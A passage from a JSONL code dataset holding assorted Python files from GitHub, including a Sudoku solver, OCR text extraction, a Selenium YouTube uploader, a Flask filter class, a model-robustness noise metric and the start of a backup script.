len(set(gold_spos)) != 0 else 0\n F = (2 * P * R) / (P + R) if P+R != 0 else 0\n print('\\nRESULT PRF:\\n')\n print(str(round(P*100,2))+'|'+str(round(R*100,2))+'|'+str(round(F*100,2))+'|'+'\\n')","repo_name":"gugugu-469/BeeRe","sub_path":"codes/trainer/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":38138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25613264037","text":"def getNthFromLast(head,n):\n count=length(head)\n k=count-n\n if k<0:\n return -1\n else:\n ptr=head\n for i in range(1,k+1):\n \n ptr=ptr.next\n return ptr.data\n","repo_name":"Adarsh-chaurasia/DATA-STRUCUTRES-AND-ALGORITHMS--","sub_path":"linkedlist/getNthNodeFromEnd.py","file_name":"getNthNodeFromEnd.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"32358234602","text":"#coding=utf-8\n\nimport urllib2 as url\nimport urllib\nfrom bs4 import BeautifulSoup as bs\n\nclass Search():\n\tdef baidu_search(self, keyword):\n\t p = {'wd': keyword}\n\t res = url.urlopen(\"http://www.baidu.com/s?\" + urllib.urlencode(p))\n\t html = res.read()\n\t return html\n\n\tdef select_key(self, question, answers):\n\t\thtml = self.baidu_search(question)\n\t\tsoup = bs(html)\n\t\tanswer_dict = {}\n\t\tfor a in answers:\n\t\t count = len(soup.find_all(text = a))\n\t\t answer_dict[a] = count\n\t\tsorted_answer_list = sorted(answer_dict, key = lambda x : x[1], reverse = True)\n\t\treturn sorted_answer_list[0]\n\n\n\n\n","repo_name":"dongdongcpk/autoBilibili","sub_path":"baiduSearch.py","file_name":"baiduSearch.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"23648041497","text":"\nfrom PyPDF2 import PdfReader\nimport docx\nimport pytesseract\nfrom PIL import Image\nimport io\n\n\ndef from_image(filename, image_data=None):\n if image_data:\n image = Image.open(io.BytesIO(image_data))\n else:\n image = Image.open(filename)\n path_to_tesseract = \"./Tesseract-OCR/tesseract.exe\"\n pytesseract.pytesseract.tesseract_cmd = path_to_tesseract\n text = pytesseract.image_to_string(image, lang= 'rus')\n return text\n\n\ndef from_pdf_images(filename):\n doc_text = ''\n reader = PdfReader(filename)\n pages = reader.pages\n\n for page in pages:\n for image_file_object in page.images:\n doc_text += from_image(filename = '', image_data = image_file_object.data) + ' '\n\n return doc_text\n\n\ndef from_doc(filename):\n doc_text = ''\n doc = docx.Document(filename)\n for paragraph in doc.paragraphs:\n text = paragraph.text\n if text:\n doc_text += text + ' '\n return doc_text\n\n\ndef from_pdf(filename):\n doc_text = ''\n reader = PdfReader(filename)\n pages = reader.pages\n for page in pages:\n text = page.extract_text()\n if text:\n doc_text += text + ' '\n \n if doc_text == '':\n doc_text = from_pdf_images(filename)\n return doc_text\n\n\ndef get_data(filedata):\n extension = filedata['filename'].rsplit('.')[-1]\n data = ''\n if extension in ['doc', 'docx']:\n data = from_doc(filedata['filename'])\n elif extension in ['png', 'jpg', 'jpeg']:\n data = from_image(filedata['filename'])\n elif extension in ['pdf']:\n data = from_pdf(filedata['filename'])\n return data","repo_name":"sikoraaxd/intelligence-map","sub_path":"intelmap_server/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15664775235","text":"from collections import defaultdict\nfrom flask import request\nfrom services.dependency_inject.injector import Services\nfrom services.interfaces.ifilters import IFilters\nfrom services.interfaces.ipost_repo import IPostRepo\nfrom services.posts.seed import placeholder\n\nclass Filters(IFilters):\n __is_first_access = True\n\n @Services.get\n def __init__(self, repo : IPostRepo):\n self.repo = repo\n self.filtered_users = defaultdict()\n self.unfiltered_users = set()\n \n def apply(self, query_params : dict, page : int) -> list:\n ids = []\n if len(self.repo) > 0 :\n self.__build_initial_unfiltered()\n self.filtered_users = defaultdict(lambda: [], query_params)\n self.__update_unfiltered_users()\n ids += self.filtered_users[\"user_id\"]\n return self.repo.get_all(page, ids)\n elif not query_params:\n return placeholder().get_all()\n return []\n\n def get_new_querystr(self) -> str:\n query_url = request.full_path\n id = request.form.get(\"user_id\")\n name = request.form.get(\"name\")\n name = name.replace(\"-\", \"%20\")\n query_url = query_url.replace(f\"user_id={id}&name={name}&\", \"\")\n print(\"----->\", name, \"<-----\")\n print(\"----->\", query_url, \"<-----\")\n print(\"----->\", id, \"<-----\")\n\n self.unfiltered_users.add((id, name))\n return query_url\n\n def __update_unfiltered_users(self):\n if len(self.filtered_users) > 0:\n ids = self.filtered_users[\"user_id\"]\n names = self.filtered_users[\"name\"]\n for i in range(0, len(ids)):\n self.unfiltered_users.discard((ids[i], names[i]))\n else:\n self.__reset_unfiltered_users() \n \n def __reset_unfiltered_users(self) -> set:\n result = set()\n for post in self.repo.get_all():\n result.add((str(post[1].owner_id), post[1].auth))\n self.unfiltered_users = result\n\n def __build_initial_unfiltered(self):\n if Filters.__is_first_access:\n self.__reset_unfiltered_users()\n Filters.__is_first_access = True\n ","repo_name":"sergiubotezatu/flaskproj","sub_path":"services/posts/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29412189644","text":"import argparse\nimport logging\nfrom argparse import ArgumentError\nfrom datetime import datetime\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.webdriver.remote.file_detector import LocalFileDetector\n\nfrom src.login import confirm_logged_in, login_using_cookie_file\nfrom src.upload import upload_file\n\n\ndef main():\n logging.getLogger().setLevel(logging.INFO)\n\n # Setup Selenium web driver\n parser = get_arg_parser()\n args = parser.parse_args()\n\n if args.browser == \"docker\":\n driver = webdriver.Remote(\n command_executor=\"http://127.0.0.1:4444/wd/hub\",\n desired_capabilities=DesiredCapabilities.FIREFOX,\n )\n elif args.browser == \"firefox\":\n firefox_profile = webdriver.FirefoxProfile()\n firefox_profile.set_preference(\"intl.accept_languages\", \"en-us\")\n firefox_profile.update_preferences()\n driver = webdriver.Firefox(firefox_profile)\n elif args.browser == \"chrome\":\n driver = webdriver.Chrome()\n else:\n raise ArgumentError(message=\"Unknown driver.\")\n\n driver.set_window_size(1920, 1080)\n login_using_cookie_file(driver, cookie_file=args.login_cookies)\n driver.get(\"https://www.youtube.com\")\n\n assert \"YouTube\" in driver.title\n\n try:\n confirm_logged_in(driver)\n driver.get(\"https://studio.youtube.com\")\n assert \"Channel dashboard\" in driver.title\n driver.file_detector = LocalFileDetector()\n upload_file(\n driver,\n video_path=args.video_path,\n title=args.title,\n thumbnail_path=args.thumbnail,\n description=args.description,\n game=args.game,\n kids=args.kids,\n upload_time=args.upload_time,\n )\n except:\n driver.close()\n raise\n\n\ndef get_arg_parser() -> argparse.ArgumentParser:\n parser = argparse.ArgumentParser()\n today = datetime.now()\n parser.add_argument(\n \"-B\",\n \"--browser\",\n choices=[\"docker\", \"chrome\", \"firefox\"],\n default=\"docker\",\n type=str,\n help=\"Select the driver/browser to use for executing the script (default: docker).\",\n )\n parser.add_argument(\n \"-l\",\n \"--login-cookies-path\",\n dest=\"login_cookies\",\n type=str,\n help=\"A json file that contains the cookies required to sign into YouTube in the target browser.\",\n required=True,\n )\n parser.add_argument(\n \"video_path\",\n help=\"Path to the video file. When using docker, this path has to be inside the container \"\n \"(default mount is /uploads/).\",\n )\n parser.add_argument(\n \"--thumbnail-path\",\n \"-T\",\n help=\"Path to the thumbnail file (default: None).\",\n dest=\"thumbnail\",\n type=str,\n default=None,\n required=False,\n )\n parser.add_argument(\n \"-t\",\n \"--title\",\n help=\"This argument declares the title of the uploaded video.\",\n type=str,\n required=True,\n )\n parser.add_argument(\n \"-d\",\n \"--description\",\n help=\"This argument declares the description of the uploaded video.\",\n type=str,\n required=True,\n )\n parser.add_argument(\n \"-g\",\n \"--game\",\n help=\"This argument declares the game of the uploaded video (default: None).\",\n default=None,\n required=False,\n )\n parser.add_argument(\n \"-k\",\n \"--kids\",\n help=\"Whether the video is made for kids or not. (default: False)\",\n required=False,\n type=bool,\n default=False,\n )\n parser.add_argument(\n \"-ut\",\n \"--upload_time\",\n help=\"This argument declares the scheduled upload time (UTC) of the uploaded video. \"\n \"(Example: 2021-04-04T20:00:00)\",\n required=False,\n type=datetime.fromisoformat,\n default=datetime(today.year, today.month, today.day, 20, 15),\n )\n return parser\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ContentAutomation/YouTubeUploader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","stars":152,"dataset":"github-code","pt":"54"} +{"seq_id":"30508795172","text":"import os\nimport threading\n\nfile_lock = threading.Lock()\n\nmask_file = 'mask/mask'\nif not os.path.exists(os.path.dirname(mask_file)):\n os.mkdir(os.path.dirname(mask_file))\n\nif not os.path.exists(mask_file):\n os.mknod(mask_file)\n\n\n# 追加记录;\ndef write_mask(mask):\n # 上锁,多线程同步;\n with file_lock:\n with open(mask_file, 'a') as appender:\n appender.write(mask.strip() + '\\n')\n\n\n# 读记录;\ndef read_mask():\n\n with file_lock:\n\n with open(mask_file, 'r') as reader:\n mask_str = reader.readlines()\n\n return mask_str\n\n\n# 删除记录;\ndef delete_mask(mask):\n\n with file_lock:\n\n with open(mask_file, 'r') as reader:\n mask_str = reader.readlines()\n\n mask_str = [sub_mask for sub_mask in mask_str if sub_mask.strip() != mask.strip()]\n\n with open(mask_file, 'w') as writer:\n writer.write(''.join(mask_str))\n\n\n\n","repo_name":"darkwhale/orient_48","sub_path":"mask.py","file_name":"mask.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39701119532","text":"import os\nimport json\n\npadding = lambda text, max_width: (max_width-len(text))//2\n\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\nCONSOLE_WIDTH = 80\nSCRIPT_TITLE = \"JSON CompileCommand Formatter\"\nSCRIPT_COPYRIGHT = \"v0.1 | Geoffrey Côte 2023\"\nprint(bcolors.HEADER+\"=\"*CONSOLE_WIDTH)\nprint(\" \"*padding(SCRIPT_TITLE, CONSOLE_WIDTH)+SCRIPT_TITLE)\nprint(\" \"*padding(SCRIPT_COPYRIGHT, CONSOLE_WIDTH)+SCRIPT_COPYRIGHT)\nprint(\"=\"*CONSOLE_WIDTH+bcolors.ENDC)\n\n\nc_wd = os.getcwd()\nprint(f\"Current working directory {bcolors.BOLD+c_wd+bcolors.ENDC}\", end=\"\\n\\n\")\n\n\n# Checking workspace\ndef check(what: str, msg: str, condition, error: str) -> None:\n print(f\"{bcolors.BOLD+bcolors.UNDERLINE+msg} :{bcolors.ENDC} \", end=\"\")\n if not condition(what):\n print(f\"{bcolors.FAIL}X{bcolors.ENDC} ({error})\")\n exit(0)\n print(f\"{bcolors.OKGREEN}V{bcolors.ENDC}\")\n\nfile_exist = lambda file: os.path.exists(file)\ncheck(\"./build\", \"Checking if is ROS2 Workspace\", file_exist, \"./build dir does not exist\")\ncheck(\"./build/compile_commands.json\", \"Checking if compile_commands.json is present\", file_exist, \"File not present\")\n\nwith open(\"./build/compile_commands.json\", \"r\") as h:\n print(f\"{bcolors.BOLD + bcolors.UNDERLINE}Trying to decode the JSON :{bcolors.ENDC} \", end=\"\")\n try:\n json_data = h.read()\n decoder = json.JSONDecoder()\n json_dict = decoder.decode(json_data)\n print(f\"{bcolors.OKGREEN}V{bcolors.ENDC}\")\n except json.JSONDecodeError as err:\n print(f\"{bcolors.FAIL}X{bcolors.ENDC} ({err.__traceback__})\")\n exit(-1)\n h.close()\n h = open(\"./build/compile_commands.json\", \"w\")\n out_dict = []\n for item in json_dict:\n item_dict = {}\n for (key, value) in item.items():\n if key != \"command\":\n item_dict[key] = value\n else:\n item_dict[\"arguments\"] = value.split()\n out_dict.append(item_dict)\n encoder = json.JSONEncoder(indent=4)\n h.write(encoder.encode(out_dict))\n h.close()","repo_name":"Meltwin/JSONCCF","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4037164222","text":"from __future__ import print_function\nfrom game import sd_peers, sd_spots, sd_domain_num, init_domains, \\\n restrict_domain, SD_DIM, SD_SIZE, \\\n sd_domain\nimport random, copy\nimport inspect\n\n# Debug\n# Reference: https://stackoverflow.com/questions/45621045/python-print-debugging-show-file-and-line-number\ndef print_reach_error():\n lineno = inspect.currentframe().f_back.f_lineno\n print(f\"ERROR: Unexpected reach line {lineno}\")\n\ndef check_draw_delim(ind):\n return ((ind + 1) != SD_SIZE) and ((ind + 1) % SD_DIM == 0)\n\ndef display(domains):\n for i in sd_domain:\n for j in sd_domain:\n d = domains[(i,j)]\n if len(d) == 1:\n print(d[0], end='')\n else: \n print('.', end='')\n if check_draw_delim(j):\n print(\" | \", end='')\n print()\n if check_draw_delim(i):\n print(\"-\" * (SD_DIM * SD_DIM + 3 * (SD_DIM - 1)))\n\nclass AI:\n def __init__(self):\n pass\n\n def solve(self, problem):\n domains = init_domains()\n restrict_domain(domains, problem)\n\n # TODO: implement backtracking search. \n assignments = {} # (i, j): a\n decisions = [] # decision stack (see: https://www.geeksforgeeks.org/stack-in-python/)\n while True:\n assignments, domains = self.propagate(copy.deepcopy(assignments), copy.deepcopy(domains))\n if 'conflict' not in assignments:\n if self.allAssigned(assignments, domains):\n return self.solution(assignments, domains)\n else:\n assignments, s = self.makeDecision(copy.deepcopy(assignments), copy.deepcopy(domains))\n decisions.append((copy.deepcopy(assignments), s, copy.deepcopy(domains)))\n else:\n if not decisions:\n return None\n else:\n assignments, domains, decisions = self.backtrack(copy.deepcopy(decisions))\n\n # TODO: delete this block ->\n # Note that the display and test functions in the main file take domains as inputs. \n # So when returning the final solution, make sure to take your assignments function \n # and turn the value into a single element list and return them as a domain map. \n # <- TODO: delete this block\n\n\n def propagate(self, assignments, domains):\n while True:\n for s in domains:\n if len(domains[s]) == 1 and not s in assignments: # D(s) is singleton\n assignments[s] = domains[s][0]\n for s in domains:\n if s in assignments and len(domains[s]) > 1: # update domain\n domains[s] = [assignments[s]]\n for s in domains:\n if len(domains[s]) == 0:\n assignments['conflict'] = s # conflict at s\n return assignments, domains\n flag = False\n for s in domains:\n for p in sd_peers[s] : # remove inconsistent value\n for a in domains[s]:\n if p in assignments and a == assignments[p]:\n domains[s].remove(a)\n flag = True\n if not flag:\n return assignments, domains\n \n \n def removeInconsistent(self, s, assignments, domains):\n flag = False\n for p in sd_peers[s] : # remove inconsistent value\n for a in domains[s]:\n if p in assignments and a == assignments[p]:\n domains[s].remove(a)\n flag = True\n return flag, domains\n \n def allAssigned(self, assignments, domains):\n for s in domains:\n if s not in assignments:\n return False\n return True \n \n def solution(self, assignments, domains):\n for s in assignments:\n domains[s] = [assignments[s]]\n return domains\n \n def makeDecision(self, assignments, domains):\n for s in domains:\n if s not in assignments:\n assignments[s] = domains[s][0] # DECISION: always pick the first to assign\n return assignments, s\n print_reach_error()\n \n def backtrack(self, decisions):\n assignments, s, domains = decisions.pop()\n a = assignments[s]\n assignments.pop(s, None)\n domains[s].remove(a)\n return assignments, domains, decisions\n\n #### The following templates are only useful for the EC part #####\n\n # EC: parses \"problem\" into a SAT problem\n # of input form to the program 'picoSAT';\n # returns a string usable as input to picoSAT\n # (do not write to file)\n def sat_encode(self, problem):\n \n var = {\n 1: \"-4 -3 -2 1 0\\n\",\n 2: \"-4 -3 2 -1 0\\n\",\n 3: \"-4 -3 2 1 0\\n\",\n 4: \"-4 3 -2 -1 0\\n\",\n 5: \"-4 3 -2 1 0\\n\",\n 6: \"-4 3 2 -1 0\\n\",\n 7: \"-4 3 2 1 0\\n\",\n 8: \" 4 -3 -2 -1 0\\n\",\n 9: \" 4 -3 -2 1 0\\n\",\n }\n \n domains = init_domains()\n restrict_domain(domains, problem)\n \n text = \"\"\n \n count = 0\n\n # TODO: write CNF specifications to 'text'\n for s in domains:\n for p in sd_peers[s]:\n if len(domains[p]) == 1:\n count += 1\n \n text += f\"p cnf 4 {count}\\n\"\n \n for s in domains:\n for p in sd_peers[s]:\n if len(domains[p]) == 1:\n i = domains[p][0]\n text += var[i]\n\n return text\n\n # EC: takes as input the dictionary mapping \n # from variables to T/F assignmentss solved for by picoSAT;\n # returns a domain dictionary of the same form \n # as returned by solve()\n def sat_decode(self, assignmentss):\n # TODO: decode 'assignmentss' into domains\n print(assignmentss)\n \n # TODO: delete this ->\n domains = {}\n for spot in sd_spots:\n domains[spot] = [1]\n return domains\n # <- TODO: delete this\n","repo_name":"sorata000x/AI-Algorithm","sub_path":"Sudoku/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12134973435","text":"from pathlib import Path\n\ndef process(file_directory):\n\n if not file_directory.exists():\n return\n\n for file in file_directory.glob(\"*.csv\"):\n archive_file = Path(str(file).replace(\".csv\", \"_staging.csv\"))\n file.rename(archive_file)\n\nif __name__ == \"__main__\":\n directory = Path(\"./data/builds\")\n process(directory)\n","repo_name":"hungnguyen10897/Public-Code-Repositories-Analysis","sub_path":"extractors/jenkins/temp_stage.py","file_name":"temp_stage.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"27428632057","text":"import os\nimport errno\n\n\nfor i in range(77):\n for j in range(5):\n try:\n os.makedirs('best_epoch_models_chicago/'+str(i)+'/'+str(j))\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n","repo_name":"anishaislam8/Crime-prediction-with-transfer-learning","sub_path":"initial.py","file_name":"initial.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29351390260","text":"# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\n\"\"\"Metric that tests models against different types of additive noise.\"\"\"\r\n\r\nfrom abc import abstractmethod\r\nfrom collections import Iterable\r\nfrom tqdm import tqdm\r\nimport numpy as np\r\nfrom .base import Metric\r\nfrom .base import call_decorator\r\nfrom perceptron.utils.rngs import nprng\r\n\r\n\r\nclass AdditiveNoiseMetric(Metric):\r\n \"\"\"Base class for metric that tests models against additive noise.\"\"\"\r\n\r\n @call_decorator\r\n def __call__(self, adv, annotation=None, unpack=True,\r\n abort_early=True, epsilons=10000):\r\n \"\"\"Adds uniform or Gaussian noise to the image, gradually increasing\r\n the standard deviation until the image is misclassified.\r\n\r\n Parameters\r\n ----------\r\n adv : `numpy.ndarray` or :class:`Adversarial`\r\n The original, unperturbed input as a `numpy.ndarray` or\r\n an :class:`Adversarial` instance.\r\n annotation : int\r\n The reference label of the original input. Must be passed\r\n if `a` is a `numpy.ndarray`, must not be passed if `a` is\r\n an :class:`Adversarial` instance.\r\n unpack : bool\r\n If true, returns the adversarial input, otherwise returns\r\n the Adversarial object.\r\n abort_early : bool\r\n If true, returns when got first adversarial, otherwise\r\n returns when all the iterations are finished.\r\n epsilons : int or Iterable[float]\r\n Either Iterable of standard deviations of the Gaussian blur\r\n or number of standard deviations between 0 and 1 that should\r\n be tried.\r\n\r\n \"\"\"\r\n\r\n a = adv\r\n del adv\r\n del annotation\r\n del unpack\r\n\r\n image = a.original_image\r\n bounds = a.bounds()\r\n min_, max_ = bounds\r\n\r\n if not isinstance(epsilons, Iterable):\r\n epsilons = np.linspace(0, 1, num=epsilons + 1)[1:]\r\n\r\n for epsilon in tqdm(epsilons):\r\n noise = self._sample_noise(epsilon, image, bounds)\r\n perturbed = image + epsilon * noise\r\n perturbed = np.clip(perturbed, min_, max_)\r\n\r\n _, is_adversarial = a.predictions(perturbed)\r\n if is_adversarial and abort_early:\r\n return\r\n\r\n @abstractmethod\r\n def _sample_noise(self):\r\n raise NotImplementedError\r\n\r\n\r\nclass AdditiveUniformNoiseMetric(AdditiveNoiseMetric):\r\n \"\"\"Metric that tests models against uniform noise.\"\"\"\r\n\r\n def _sample_noise(self, epsilon, image, bounds):\r\n min_, max_ = bounds\r\n w = epsilon * (max_ - min_)\r\n noise = nprng.uniform(-w, w, size=image.shape)\r\n noise = noise.astype(image.dtype)\r\n return noise\r\n\r\n\r\nclass AdditiveGaussianNoiseMetric(AdditiveNoiseMetric):\r\n \"\"\"Metric that tests models against Gaussian noise.\"\"\"\r\n\r\n def _sample_noise(self, epsilon, image, bounds):\r\n min_, max_ = bounds\r\n std = epsilon / np.sqrt(3) * (max_ - min_)\r\n noise = nprng.normal(scale=std, size=image.shape)\r\n noise = noise.astype(image.dtype)\r\n return noise\r\n","repo_name":"PaddlePaddle/PaddleSleeve","sub_path":"Robustness/perceptron/benchmarks/additive_noise.py","file_name":"additive_noise.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"54"} +{"seq_id":"33402906862","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@ Author: Jun Sun {Python3}\n@ E-mail: sunjunee@qq.com\n@ Date: 2018-05-30 17:11:45\n\"\"\"\n\n\n# T1-1-4 设计一个有getMax功能的队列\n# 要求pop、push、getMax操作的时间复杂度都是O(1)\n# 设计队列的类型可以使用线程的队列结构\n\n# 设计一个队列存储数据,另外一个队列保存当前的最大值序列\n# 每次入队列时,入队的数字需要与最大值队列内的元素依次比较\n# 如果小于等于队尾元素,则入队列,如果大于队尾元素,则队尾\n# 元素移出队列\n\nclass Queue():\n def __init__(self):\n self.DataQueue = []\n self.MaxQueue = []\n\n def getMax(self):\n if(self.MaxQueue != []):\n return self.MaxQueue[0]\n\n def pop(self):\n if(self.DataQueue != []):\n res = self.DataQueue[0]\n del self.DataQueue[0]\n if(self.MaxQueue[0] == res):\n del self.MaxQueue[0]\n\n def push(self, x):\n self.DataQueue.append(x)\n while(self.MaxQueue != [] and self.MaxQueue[-1] < x):\n del self.MaxQueue[-1]\n self.MaxQueue.append(x)\n\nif __name__ == \"__main__\":\n s = Queue()\n s.push(1)\n print(s.getMax())\n s.push(3)\n print(s.getMax())\n s.push(1)\n print(s.getMax())\n s.push(2)\n print(s.getMax())\n s.pop()\n print(s.getMax())\n s.pop()\n print(s.getMax())\n s.pop()\n print(s.getMax())\n s.pop()\n print(s.getMax())\n","repo_name":"sunjunee/Coding-Interview-Guide","sub_path":"codes/T1-1-4.py","file_name":"T1-1-4.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38428754977","text":"import requests, argparse, os.path\n\ndef upload(url, src_path, dst_path):\n print(\"upload %s,%s,%s\" % (url,src_path,dst_path)) \n fileName = 'list.htm'\n fileDataBinary = open(src_path, 'rb').read();\n files = { 'uploadFile': (dst_path, fileDataBinary, 'text/plain')}\n response = requests.post(url, files=files)\n return response.status_code == 200\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"url\");\n parser.add_argument(\"files\", metavar='file', type=str, nargs='+',\n help='files to be upload')\n args = parser.parse_args()\n for file in args.files:\n upload(args.url,file,os.path.split(file)[1])\n \n\n","repo_name":"h-nari/LED_Signboard","sub_path":"python/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"37449855841","text":"import unittest\nimport io\nimport sys\nfrom app.rentalDatabase import rentalDatabase\n\n\nclass TestRentalDatabase(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.db = rentalDatabase()\n\n def test_printQuery(self):\n capturedOutput = io.StringIO()\n sys.stdout = capturedOutput\n TestRentalDatabase.db.printQuery(\n \"\"\"SELECT user_id, name, email FROM tenants\"\"\")\n sys.stdout = sys.__stdout__\n printedWords = capturedOutput.getvalue().split()\n self.assertEqual(printedWords[0], 'user_id')\n self.assertEqual(printedWords[1], 'name')\n self.assertEqual(printedWords[2], 'email')\n\n def test_getQuery(self):\n result = self.db.getQuery(\n \"\"\" SELECT rooms.room_id\n FROM rooms\n WHERE rooms.rentable = 1\"\"\")\n available_rooms = ', '.join([item[0] for item in list(result)])\n self.assertEqual(available_rooms, 'A, D, E, F, G, H, I, J, K')\n","repo_name":"elidlocke/tenant-rent","sub_path":"tests/test_rentalDatabase.py","file_name":"test_rentalDatabase.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4887174632","text":"import scrapy\n\nfrom mw_scraper.items import ImageItem, MushroomItem\n\nTARGET_MUSHROOMS = [\n 'Cantharellus cibarius',\n 'Cantharellus tubaeformis',\n 'Lactarius trivialis',\n 'Albatrellus ovinus',\n 'Boletus edulis',\n 'Russula paludosa',\n 'Lactarius deliciosus',\n 'Lactarius deterrimus',\n 'Agaricus arvensis',\n 'Amanita muscaria',\n 'Amanita virosa',\n 'Amanita phalloides',\n 'Galerina marginata',\n 'Cortinarius rubellus',\n 'Amanita regalis',\n 'Amanita porphyria',\n 'Hypholoma fasciculare',\n 'Gyromitra esculenta'\n]\n\nclass MWScraper(scrapy.Spider):\n name = 'mw_scraper'\n start_urls = ['http://www.mushroom.world/mushrooms/namelist']\n\n def parse(self, response):\n for div_item in response.css('div.item'):\n link = div_item.css('a')\n small = div_item.css('small')\n link_url = response.urljoin(link.css('::attr(href)').extract_first().strip())\n\n name_eng = small.css('::text').extract_first()\n # English name might be null\n name_eng_formatted = name_eng.strip()[1:-1] if name_eng is not None else ''\n shroom_dict = {\n 'name_latin' : link.css('::text').extract_first(),\n 'name_eng' : name_eng_formatted,\n 'url_mw' : link_url,\n }\n yield response.follow(link_url, self.parse_show_page, meta={'shroom': shroom_dict})\n\n def parse_show_page(self, response):\n shroom = response.meta['shroom']\n\n img_urls = []\n for i, div_img in enumerate(response.css('div.image')):\n link = div_img.css('a')\n link_url = response.urljoin(link.css('::attr(href)').extract_first().strip())\n img_urls.append(link_url)\n latin_formatted = shroom['name_latin'].lower().replace(' ', '_')\n img_name = \"{}{}.jpg\".format(latin_formatted, i)\n yield ImageItem(name_latin=shroom['name_latin'], name_img=img_name, img_url=link_url)\n\n div_edibility = response.css('div.textus')[3]\n shroom['img_urls'] = img_urls\n shroom['edibility'] = div_edibility.css('::text').extract_first().lower()\n yield MushroomItem(shroom)\n","repo_name":"TuomoNieminen/deep-shrooms","sub_path":"shroom_scrapers/mw_scraper/spiders/MWScraper.py","file_name":"MWScraper.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"54"} +{"seq_id":"227029327","text":"#!/usr/bin/env python3\n\n'''\nThis script uses python3 to backup the files from the source directory\ninto the destinantion directory. The backup action is performed\nby 'rsync' command line tool in linux , which has certain merits of it's own\nsuch as delta-transfer(increamental-backups),preserving permissions and directory\nstructure as it is. Since it uses rsync to prepare the initial backup files, this\nscript is explicitly for linux operating systems.\n\nAs rsync already prepares the backup, this script compress(password-protected),\nencrypt, store the critical info(such as compression key, encryption key and hash sum)\nin a file and upload the encrypted backup file ONLY to the google drive. The file containing the info\nabout the backed-up files are left there on the host, on the user dicretion. Also, all these process\nuses time stamp as the file name to ease the process of restoring them\n'''\nimport os\nfrom colorama import Fore as f\nfrom colorama import Style as s\nfrom colorama import init\nimport sys\nimport datetime\nimport time\n\ninit(autoreset=True)\n\nsrc_dir = ''\ntmp_dir = ''\nnew_name = ''\n\ndef backup_dir_info():\n\tglobal src_dir\n\tglobal tmp_dir\n\tprint(f.RED+\"Enter the source directory path\")\n\tsrc_dir = str(input(\"[*] src_directory >>: \"))\n\tprint(f.BLUE+\"\\nEnter the destinantion directory to temporarily store the backed-up files.\\n\")\n\tprint(f.BLUE+\"Files in this temporary destinantion directory will be compressed,encrypted and uploaded to the drive\")\n\ttmp_dir = str(input(\"[*] tmp_dest_directory >>: \"))\n\ndef dir_check():\n\tif(os.path.isdir(src_dir)):\n\t\tif(src_dir!=tmp_dir):\n\t\t\tif(os.path.isdir(tmp_dir)):\n\t\t\t\tbackup_script()\n\t\t\telse:\n\t\t\t\tprint(f.WHITE+\"\\n\\n[!!]The temporary destinantion directory doesn't exist\\n[!!]Creating now...\\n[*]Directory created\\n\")\n\t\t\t\ttime.sleep(1)\n\t\t\t\tbackup_script()\n\t\telse:\n\t\t\tprint(f.WHITE+\"[!!] Source directory and temporary back up directory cannot be same\\n[!!] Exiting 